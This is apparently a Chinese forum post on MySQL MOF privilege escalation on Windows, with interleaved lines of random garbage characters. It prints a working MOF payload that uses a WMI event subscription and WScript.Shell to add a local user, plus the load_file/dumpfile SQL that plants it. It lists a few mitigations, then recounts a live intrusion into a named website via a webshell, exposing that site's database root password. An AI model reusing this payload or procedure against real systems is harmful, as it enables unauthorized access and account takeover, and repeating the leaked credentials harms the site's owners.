Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

网上公开的一些利用代码:

#pragma namespace(“\\\\.\\root\\subscription”)
9 R% c, B2 W* u
+ U! k7 f: ?* _  M0 ~7 a& @instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

5 Y" b+ T) d! u$ m
# Z4 q2 h% G9 [, B9 ?- R" O) e
& n! e5 k0 b4 x4 O  W4 ?

- E" C, F+ [  d) E连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：
* O7 ~+ S$ N' v. s
" }$ X% F0 t2 N1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

2、禁止使用”WScript.Shel”组件
6 |9 c* H" E+ w2 D0 b0 Q
; k; e* P: K2 `. ?3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
; p& q# |, a7 d8 K/ D: w. @! }
, V' x3 F7 T* P/ z1 e当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
) D* l% ^9 z' ]" a0 ~
2 Y  s; ^" x. l- `事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
% ]& [( t$ Q/ @6 W  w, l5 e. {
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

$ }  J+ k2 F; _3 q5 o0 ]/ b看懂了后就开始练手吧
/ O0 m" q4 G) `1 t9 r
4 P: Z6 G  c. q3 ohttp://www.webbmw.com/config/config_ucenter.php 一句话 a
1 d# c  \6 ~6 k; s2 L* w. b: @
4 |9 L! Y$ S) N* A: h$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
, K! E" P% F9 ?, I+ Q9 W( w
0 J- z; j' H! I# F% @( K- f于是直接用菜刀开搞
5 \0 g6 E' V$ ?8 y; Y
上马先

" G2 N1 q; V$ y- Z8 D既然有了那些账号 之类的 于是我们就执行吧…….
# N3 |) P1 Y- w/ f7 S7 G
1 b" q8 ?( ~9 |8 u8 t% v( w, {小小的说下
" U2 y& K* A/ s7 z5 x& O/ _7 w
在这里第1次执行未成功        原因未知

) I. f! n8 m; z! ]我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

- O/ }# E7 P5 c8 q#pragma namespace(“\\\\.\\root\\subscription”)
5 P( g9 w5 s4 W+ h* @
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
% s5 ~( G! s8 x; S( ]$ l* F
我是将文件放到C:\WINDOWS\temp\1.mof

2 a( {6 K3 d" s" m  `2 K所以我们就改下执行的代码
1 Z) }" B. |8 A5 C% r8 I
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;



; V9 b) ^* X! E6 F; R但是 你会发现账号还是没有躺在那里。。
( T  x% R5 P& ?- w& d
# e" Q: R% ]1 J/ K7 ~  ^于是我就感觉蛋疼
* D/ o5 e# f# g1 _9 j( ^5 ?* P( }
就去一个一个去执行 但是执行到第2个 mysql时就成功了………


: F/ c! s1 f* J/ V
但是其他库均不成功…
! N4 d" ?; P# p' E- ~
我就很费解呀 到底为什么不成功求大牛解答…

​
/ f. a8 p) ]7 K' Z0 M+ ]
1 n4 m. a' |2 Y/ e3 v& |1 n